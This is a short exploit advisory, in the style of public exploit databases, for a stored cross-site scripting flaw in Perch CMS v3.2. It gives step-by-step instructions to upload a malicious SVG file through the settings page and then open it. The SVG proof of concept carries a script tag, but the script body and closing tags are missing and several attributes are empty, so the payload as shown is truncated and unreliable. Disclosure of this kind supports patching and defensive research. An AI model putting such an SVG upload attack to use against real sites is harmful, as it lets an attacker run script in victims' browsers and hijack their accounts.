Exploit Title: Perch v3.2 - Stored XSS  
Application: Perch Cms  
Version: v3.2  
Bugs: XSS  
Technology: PHP  
Vendor URL:  
Software Link:  
Date of found: 21.07.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
2. Technical Details & POC  
1. login to account  
2. go to http://localhost/perch_v3.2/perch/core/settings/  
3. upload svg file  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "">  
<svg version="1.1" baseProfile="full" xmlns="">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)